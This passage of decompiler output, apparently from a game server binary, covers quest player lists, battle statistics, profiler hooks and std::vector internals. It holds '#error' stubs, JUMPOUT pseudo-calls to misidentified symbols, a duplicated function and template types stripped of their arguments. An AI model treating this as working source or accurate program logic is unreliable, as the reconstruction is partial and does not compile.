*ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0046CAF0) -------------------------------------------------------- #error "46CAF0: undefined or illegal type '#592' (funcsize=66)" //----- (0046CBF0) -------------------------------------------------------- void __thiscall List::_List(KingdomQuest::KQPlayerInfoList *this) { void *v1; // ecx@1 this->baseclass_0.baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v1 = this->baseclass_0.baseclass_0.l_Array; if ( v1 ) operator delete__(v1); } // 5A9C68: using guessed type int (__stdcall *List_KingdomQuest__KQPlayerInform____vftable_[3])(__int16 hnd); //----- (0046CC10) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0046CC60) -------------------------------------------------------- KingdomQuest::KQPlayerInform *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(KingdomQuest::KQPlayerInform *, List *, unsigned __int16, KingdomQuest::KQPlayerInform *), unsigned __int16 *hnd, KingdomQuest::KQPlayerInform *key) { KingdomQuest::KQPlayerInform *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(KingdomQuest::KQPlayerInform *, List *, unsigned __int16, KingdomQuest::KQPlayerInform *); // [sp+8h] [bp-1Ch]@1 KingdomQuest::KQPlayerInform *v8; // [sp+Ch] [bp-18h]@1 KingdomQuest::KQPlayerInform *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 5A6570: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (0046CCD0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0046CDF0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0046CF10) -------------------------------------------------------- void __thiscall KingdomQuest::KingdomQuestContainer::_KingdomQuestContainer(KingdomQuest::KingdomQuestContainer *this) { KingdomQuest::KingdomQuestContainer *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; _eh_vector_destructor_iterator_( this->kqc_array, 0x3ACu, 100, (void (__thiscall *)(void *))KingdomQuest::KQElement::_KQElement); v1->baseclass_0.vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5A9958: using guessed type int (__stdcall *KingdomQuest__KingdomQuestContainer___vftable_[3])(__int16 hnd); //----- (0046CF80) -------------------------------------------------------- #error "46CF80: undefined or illegal type '#592' (funcsize=754)" //----- (0046DAE0) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInfoList::kqpil_StorePlayer_GetKnockDownNumber(KingdomQuest::KQPlayerInfoList *this, unsigned int plyregnum) { unsigned int v2; // ebx@1 KingdomQuest::KQPlayerInfoList *v3; // esi@1 KingdomQuest::KQPlayerInform *v4; // eax@1 int v5; // eax@2 KingdomQuest::KQPlayerInform key; // [sp+Ch] [bp-34h]@1 v2 = plyregnum; v3 = this; key.kqpi_PlyRegnum = plyregnum; v4 = List::l_Search( &this->baseclass_0.baseclass_0, KingdomQuest::KQPlayerInform::regnumcomp, (unsigned __int16 *)&plyregnum, &key); if ( !v4 ) { v5 = v3->baseclass_0.baseclass_0.l_Finger.empty; if ( (_WORD)v5 == -1 || (v4 = v3->baseclass_0.baseclass_0.vfptr->l_AllocZ((List *)v3, v5)) == 0 ) return 0; v4->kqpi_PlyRegnum = v2; v4->kqpi_KnockDown = 0; v4->kqpi_BattleStat.bs_KnockDownNum = 0; v4->kqpi_BattleStat.bs_HittedNum = 0; v4->kqpi_BattleStat.bs_CriticalNum = 0; v4->kqpi_BattleStat.bs_SkillBlast = 0; v4->kqpi_BattleStat.bs_HealAmount = 0; v4->kqpi_BattleStat.bs_DamageAmount = 0; v4->kqpi_BattleStat.bs_KillScore = 0; v4->kqpi_BattleStat.bs_Dead = 0; v4->kqpi_BattleStat.bs_Kill = 0; v4->kqpi_BattleStat.bs_Score = 10000; } return v4->kqpi_KnockDown; } //----- (0046DB70) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc(KingdomQuest::KQPlayerInfoList *this, int (__thiscall *func)(KingdomQuest::KQPlayerInform *, unsigned int), unsigned int plyregnum) { List *v3; // esi@1 unsigned int v4; // edi@1 KingdomQuest::KQPlayerInform *v5; // eax@1 int result; // eax@2 int v7; // eax@3 int v8; // esi@3 KingdomQuest::KQPlayerInform key; // [sp+Ch] [bp-40h]@1 int v10; // [sp+48h] [bp-4h]@1 v3 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = plyregnum; v10 = 0; key.kqpi_PlyRegnum = plyregnum; v5 = List::l_Search( v3, KingdomQuest::KQPlayerInform::regnumcomp, (unsigned __int16 *)&plyregnum, &key); if ( v5 ) { v7 = func(v5, v4); --funcallanalizer.fca_stackpoint; v8 = v7; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc"); result = v8; } else { --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc"); result = 0; } return result; } //----- (0046DC70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetBattleStat(void *this) { void *v1; // esi@1 KingdomQuest::KQElement *v2; // edi@1 FunctionProfiler::PerformanceRecorder *v3; // ecx@2 KingdomQuest::KQPlayerInform *v5; // eax@4 int v6; // esi@5 char *v7; // [sp-4h] [bp-58h]@2 __int16 hnd; // [sp+Ch] [bp-48h]@4 FunctionEntarance _; // [sp+10h] [bp-44h]@1 KingdomQuest::KQPlayerInform key; // [sp+14h] [bp-40h]@4 int v11; // [sp+50h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_GetBattleStat"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetBattleStat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_GetBattleStat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; v2 = ShineObjectClass::ShinePlayer::sp_MyKQElement(v1); if ( !v2 ) { --funcallanalizer.fca_stackpoint; v11 = -1; v7 = "ShineObjectClass::ShinePlayer::so_GetBattleStat"; v3 = &_PerformanceRecorder; LABEL_3: FunctionProfiler::PerformanceRecorder::pr_Exit(v3, v7); return (int)&ShineObjectClass::ShineObject::so_DefBattleStat; } key.kqpi_PlyRegnum = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v5 = List::l_Search( &v2->kqe_PlayerList.baseclass_0.baseclass_0, KingdomQuest::KQPlayerInform::regnumcomp, (unsigned __int16 *)&hnd, &key); --funcallanalizer.fca_stackpoint; v7 = "ShineObjectClass::ShinePlayer::so_GetBattleStat"; v11 = -1; v3 = &_PerformanceRecorder; if ( !v5 ) goto LABEL_3; v6 = (int)&v5->kqpi_BattleStat; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetBattleStat"); return v6; } //----- (0046DD80) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_KQElementFunction(void *this, int (__thiscall *func)(KingdomQuest::KQPlayerInform *, unsigned int)) { void *v2; // esi@1 KingdomQuest::KQElement *v3; // edi@1 int result; // eax@2 unsigned int v5; // eax@3 int v6; // eax@3 int v7; // esi@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQElementFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KQElementFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectClass::ShinePlayer::sp_MyKQElement(v2); if ( v3 ) { v5 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v6 = KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc(&v3->kqe_PlayerList, func, v5); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQElementFunction"); result = v7; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQElementFunction"); result = 0; } return result; } //----- (0046DE70) -------------------------------------------------------- void __thiscall CommonList::CommonList(CommonList *this, int size) { CommonList *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 int v5; // edx@2 ListStruct *v6; // ecx@4 KingdomQuest::KQPlayerInform *v7; // ebp@4 int v8; // ecx@4 v2 = this; v3 = 0; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, size); v2->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2->cl_Array = (KingdomQuest::KQPlayerInform *)operator new__(52 * size); v4 = 0; if ( size > 0 ) { v5 = 0; do { if ( v4 < v2->baseclass_0.l_MaxSize ) { v6 = v2->baseclass_0.l_Array; v7 = v6[v5].ls_Content; v8 = (int)&v6[v5]; if ( !v7 ) *(_DWORD *)v8 = &v2->cl_Array[v3]; } ++v4; ++v3; ++v5; } while ( v4 < size ); } } // 5A9C68: using guessed type int (__stdcall *List_KingdomQuest__KQPlayerInform____vftable_[3])(__int16 hnd); //----- (0046DF10) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, KingdomQuest::KQElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); KingdomQuest::KQElement::operator_(v3, (int)ele); return 1; } // 46DF25: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0046DF40) -------------------------------------------------------- int __thiscall KingdomQuest::KQElement::operator_(int this, int a2) { int v2; // ebp@1 int v3; // ebx@1 int v4; // edi@1 int v5; // esi@1 int v7; // [sp+10h] [bp-4h]@1 signed int v8; // [sp+18h] [bp+4h]@1 v2 = a2; v3 = this; *(_DWORD *)this = *(_DWORD *)a2; PROTO_KQ_INFO::operator_((void *)(this + 4), (const void *)(a2 + 4)); v4 = a2 + 256; v5 = v3 + 284; v7 = a2 - v3; v8 = 4; do { PROTO_KQ_MAP_INFO::operator_(v5 - 28, v4); *(_DWORD *)v5 = *(_DWORD *)(v7 + v5); *(_DWORD *)(v5 + 4) = *(_DWORD *)(v4 + 32); v4 += 36; v5 += 36; --v8; } while ( v8 ); memcpy((void *)(v3 + 400), (const void *)(v2 + 400), 0x100u); memcpy((void *)(v3 + 656), (const void *)(v2 + 656), 0x100u); CommonList::operator_(v3 + 912, v2 + 912); return v3; } //----- (0046DFF0) -------------------------------------------------------- int __thiscall CommonList::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_WORD *)(this + 20) = *(_WORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); return result; } //----- (0046E030) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, KingdomQuest::KQElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); KingdomQuest::KQElement::operator_(v3, (int)ele); return 1; } // 46E046: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0046E060) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, KingdomQuest::KQElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; KingdomQuest::KQElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0046E0B0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, KingdomQuest::KQElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; KingdomQuest::KQElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0046E100) -------------------------------------------------------- void __thiscall KingdomQuest::KQPlayerInfoList::KQPlayerInfoList(KingdomQuest::KQPlayerInfoList *this) { KingdomQuest::KQPlayerInfoList *v1; // esi@1 v1 = this; CommonList::CommonList(&this->baseclass_0, 100); v1->baseclass_0.baseclass_0.vfptr = (ListVtbl *)List::_vftable_; } // 5A9C68: using guessed type int (__stdcall *List_KingdomQuest__KQPlayerInform____vftable_[3])(__int16 hnd); //----- (0046E120) -------------------------------------------------------- void __thiscall KingdomQuest::KingdomQuestContainer::KingdomQuestContainer(KingdomQuest::KingdomQuestContainer *this) { KingdomQuest::KingdomQuestContainer *v1; // esi@1 signed int v2; // edx@1 signed int v3; // eax@1 int v4; // ecx@1 int v5; // edi@3 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x64u); v1->baseclass_0.vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; _eh_vector_constructor_iterator_( v1->kqc_array, 0x3ACu, 100, (void (__thiscall *)(void *))KingdomQuest::KQElement::KQElement, (void (__thiscall *)(void *))KingdomQuest::KQElement::_KQElement); v2 = 0; v3 = 0; v4 = (int)v1->kqc_array; do { *(_DWORD *)(v4 + 4) = -1; if ( v2 < v1->baseclass_0.l_MaxSize ) { v5 = (int)&v1->baseclass_0.l_Array[v3]; if ( !*(_DWORD *)v5 ) *(_DWORD *)v5 = v4; } ++v3; ++v2; v4 += 940; } while ( v3 < 100 ); } // 5A9958: using guessed type int (__stdcall *KingdomQuest__KingdomQuestContainer___vftable_[3])(__int16 hnd); //----- (0046E1C0) -------------------------------------------------------- KQContribute::PlayerContribute *__cdecl std::copy(KQContribute::PlayerContribute *_First, KQContribute::PlayerContribute *_Last, KQContribute::PlayerContribute *_Dest) { KQContribute::PlayerContribute *v3; // ecx@1 KQContribute::PlayerContribute *result; // eax@1 v3 = _First; for ( result = _Dest; v3 != _Last; ++result ) { result->pc_ChrRegNum = v3->pc_ChrRegNum; result->pc_MobKillNumber = v3->pc_MobKillNumber; ++v3; } return result; } //----- (0046E1F0) -------------------------------------------------------- KQContribute::PlayerList *__thiscall KQContribute::KQContributeList::kqcl_FindKQ(KQContribute::KQContributeList *this, unsigned int kqhnd) { KQContribute::KQContributeList *v2; // edi@1 KQContribute::PlayerList *v3; // esi@1 KQContribute::PlayerList *v4; // edi@1 KQContribute::PlayerList *result; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_FindKQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KQContribute::KQContributeList::kqcl_FindKQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->kqcl_List._Myfirst; v4 = v2->kqcl_List._Mylast; if ( v3 == v4 ) { LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_FindKQ"); result = 0; } else { while ( v3->pl_KQHandle != kqhnd ) { ++v3; if ( v3 == v4 ) goto LABEL_4; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_FindKQ"); result = v3; } return result; } //----- (0046E2C0) -------------------------------------------------------- #error "46E2C0: undefined or illegal type '#331' (funcsize=74)" //----- (0046E3D0) -------------------------------------------------------- KQContribute::PlayerContribute *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::const_iterator _First, std::vector >::const_iterator _Last, KQContribute::PlayerContribute *__formal) { return std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (0046E3F0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator v4; // eax@1 KQContribute::PlayerContribute *v5; // esi@2 std::vector >::iterator v6; // edx@2 std::vector >::iterator *v7; // eax@5 v4 = _Last; if ( _First != _Last ) { v5 = this->_Mylast; v6 = _First; if ( (KQContribute::PlayerContribute *)_Last != v5 ) { do { **(_DWORD **)&v6 = **(_DWORD **)&v4; *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); *(_DWORD *)&v4 += 8; *(_DWORD *)&v6 += 8; } while ( (KQContribute::PlayerContribute *)v4 != v5 ); } this->_Mylast = (KQContribute::PlayerContribute *)v6; } v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; return v7; } //----- (0046E430) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0046E4A0) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x1FFFFFFF ) std::vector>::_Xlen(this); v4 = operator new(8 * _Capacity); v2->_Myend = (KQContribute::PlayerContribute *)((char *)v4 + 8 * _Capacity); v2->_Myfirst = (KQContribute::PlayerContribute *)v4; v2->_Mylast = (KQContribute::PlayerContribute *)v4; result = 1; } else { result = 0; } return result; } //----- (0046E4F0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, KQContribute::PlayerContribute *_Val) { int v4; // edx@1 std::vector > *v5; // esi@1 KQContribute::PlayerContribute *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::const_iterator v15; // ST14_4@25 KQContribute::PlayerContribute *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::const_iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 KQContribute::PlayerContribute *v24; // ST20_4@32 int v25; // ebx@32 KQContribute::PlayerContribute *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-2Ch]@31 int v28; // [sp+0h] [bp-28h]@1 unsigned int _Tmp; // [sp+Ch] [bp-1Ch]@1 int v30; // [sp+10h] [bp-18h]@1 void *_Newvec; // [sp+14h] [bp-14h]@25 int *v32; // [sp+18h] [bp-10h]@1 int v33; // [sp+24h] [bp-4h]@25 unsigned int _Wherea; // [sp+30h] [bp+8h]@31 int _Counta; // [sp+34h] [bp+Ch]@25 KQContribute::PlayerContribute *_Valb; // [sp+38h] [bp+10h]@25 KQContribute::PlayerContribute *_Vala; // [sp+38h] [bp+10h]@31 v4 = _Val->pc_MobKillNumber; v5 = this; _Tmp = _Val->pc_ChrRegNum; v6 = this->_Myfirst; v32 = &v28; v30 = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen(v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::const_iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v20.baseclass_0, v19, (KQContribute::PlayerContribute *)(*(_DWORD *)&v20 + v22), &v5->baseclass_0._Alval, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = v5->_Mylast; v33 = 2; std::vector>::_Ufill( v5, v24, v23, (KQContribute::PlayerContribute *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (KQContribute::PlayerContribute *)v25; std::fill( *(KQContribute::PlayerContribute **)&v20, (KQContribute::PlayerContribute *)(v25 - _Wherea), (KQContribute::PlayerContribute *)&_Tmp); } else { v26 = (KQContribute::PlayerContribute *)(*(_DWORD *)&v19 - v22); v5->_Mylast = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v19 - v22), v19, *(KQContribute::PlayerContribute **)&v19, &v5->baseclass_0._Alval, v27); std::copy_backward( *(KQContribute::PlayerContribute **)&v20, v26, _Vala); std::fill( *(KQContribute::PlayerContribute **)&v20, (KQContribute::PlayerContribute *)(*(_DWORD *)&v20 + _Wherea), (KQContribute::PlayerContribute *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::const_iterator)v5->_Myfirst; _Newvec = v14; v33 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, _Where.baseclass_0, (KQContribute::PlayerContribute *)v14, &v5->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (KQContribute::PlayerContribute *)&_Tmp, &v5->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( _Where.baseclass_0, (std::vector >::const_iterator)v5->_Mylast, &_Valb[v8], &v5->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (KQContribute::PlayerContribute *)((char *)v14 + _Counta); v5->_Mylast = (KQContribute::PlayerContribute *)((char *)v14 + 8 * v18); v5->_Myfirst = (KQContribute::PlayerContribute *)v14; } } } //----- (0046E740) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 KQContribute::PlayerContribute *v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 std::vector >::const_iterator v7; // ecx@7 std::vector >::const_iterator v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = _Right->_Myfirst; v11 = &v9; v10 = v2; if ( v3 ) v4 = _Right->_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x1FFFFFFF ) std::vector>::_Xlen(v2); v5 = 8 * v4; v6 = operator new(8 * v4); v2->_Myfirst = (KQContribute::PlayerContribute *)v6; v2->_Mylast = (KQContribute::PlayerContribute *)v6; v2->_Myend = (KQContribute::PlayerContribute *)((char *)v6 + v5); v7 = (std::vector 